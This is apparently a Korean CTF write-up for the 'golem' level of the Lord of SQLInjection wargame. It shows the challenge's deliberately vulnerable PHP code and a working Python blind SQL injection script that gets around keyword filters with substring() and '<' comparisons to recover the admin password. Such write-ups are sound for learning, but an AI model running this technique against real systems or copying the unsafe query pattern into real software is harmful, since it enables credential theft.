본문 바로가기

챌린지/los.rubiya.kr

Lord of SQLInjection - golem

11번째 문제인 golem이다.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

지난 문제처럼 두번의 쿼리를 실행하며 첫번째 쿼리에서 admin 계정의 정확한 패스워드를 알아내야 두번째 쿼리에서 인증을 통과해 문제를 풀 수 있다. 이전에 풀었던 orge 문제와 완전히 동일하지만 필터링되는 구문이 몇개 더 추가되었다. 이번 문제에서는 "substr(", "=" 문자열을 필터링하는 것으로 보아 substr() 함수를 사용하여 한 글자씩 비교하는 기법을 사용하지 못하도록 한 것 같은데 이는 substr() 함수 대신 substring() 함수를 사용하는 것과 "="로 직접 비교하는 대신 "<"로 간접적으로 비교하는 방법으로 우회할 수 있다.

 

substring() 함수는 substr() 함수와 동일하게 사용할 수 있기 때문에 별 차이는 없고 대신 비교값을 하나씩 늘려가면서 대소비교를 통해 비교하기 때문에 "password_length = estimated_length - 1"처럼 감소된 값으로 판단해줘야 한다. 예를 들어 1부터 10까지의 숫자 중 5를 찾는다고 할 때 기존에는 "if i == 5" 처럼에 동일비교 연산자를 통해 찾았다면 이번에는 "if i < 6" 처럼 비교하며 탐색하는 것이다. 조건이 거짓이라면 아무런 결과도 출력되지 않는 점을 이용하여 i<1, i<2, i<3, ..., i<10까지 쭉 비교하다가 조건이 참이 되어 "Hello admin" 문자열이 출력되는 순간을 탐색한다는 점에서 차이가 있다.

그래서 코드를 작성하면 다음과 같다.

import requests

password=''
password_length = 0

URL = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': 'INSERT_YOUR_COOKIE_HERE'}

for estimated_length in range(100):
    query={'pw': '\' || substring(id, 1, 1) < \'b\' && length(pw) < ' + str(estimated_length) + '#'}
    res=requests.get(URL, params=query, headers=headers, cookies=cookies)
    if("Hello admin" in res.text):
        password_length = estimated_length - 1
        print("admin's password length is {}".format(password_length))
        break
      
if password_length < 1:
    print("Password length unknown")
    exit()

for current_password_length in range(1, password_length+1):
    for password_chr in range(ord('0'),ord('z')+1) :
        query={'pw': '\' || substring(id, 1, 1) < \'b\' && substring(pw,1,' + \
               str(current_password_length) + ') < \'' + password + chr(password_chr).capitalize() + '\'#'}
        res=requests.get(URL, params=query, headers=headers, cookies=cookies)
        if("Hello admin" in res.text):
            password = password + chr(password_chr - 1)
            print(password)
            break

if len(password) == password_length:
    print("Got it. Password is {} or {}.".format(password.upper(), password.lower()))

이번에는 동일비교 연산자가 필터링되는 바람에 id='admin' 같은 조건을 사용할 수 없기 때문에 admin 계정의 첫 글자인 'a'로 한정시키기 위해 substring(id, 1, 1) < 'b' 처럼 우회하였다. guest, admin 말고 다른 계정(akari)이 있다면 조건을 좀 더 추가해주면 될 것이다. 그리고 substring() 함수를 이용해 비밀번호를 한글자씩 찾아나갔는데 이번에는 substring(pw, 3, 1) < 'a' 처럼 비교하지 않고 substring(pw, 1, 3) < 'aba' 처럼 세 글자씩 비교하는 방법도 사용해보았다. 한글자가 아니라 여러 글자일 때도 이런 식으로 비교하면서 sql injection이 되는지 시험삼아 해본 방법인데 잘 되서 이렇게도 풀어보았다. 이전과 달라진 점은 대소비교 대상으로 추측 비밀번호 글자 뿐 아니라 탐색된 비밀번호 문자열도 같이 붙어있다는 점이다. 예를 들어 비밀번호가 "password"라면 substring(pw, 1, 3) < "paa", substring(pw, 1, 3) < "pab", substring(pw, 1, 3) < "pac", substring(pw, 1, 3) < "pad", ... 처럼 비교해나가는 것이다.

 

어쨌든 이렇게 실행해보면 다음처럼 비밀번호를 찾을 수 있었다.

 

 

substr() 또는 substring()이 굉장히 유용하다. 이를 자주 활용해야겠다.

'챌린지 > los.rubiya.kr' 카테고리의 다른 글

Lord of SQLInjection - bugbear  (0) 2021.01.03
Lord of SQLInjection - darkknight  (0) 2021.01.01
Lord of SQLInjection - skeleton  (0) 2020.12.30
Lord of SQLInjection - vampire  (0) 2020.12.30
Lord of SQLInjection - troll  (0) 2020.12.28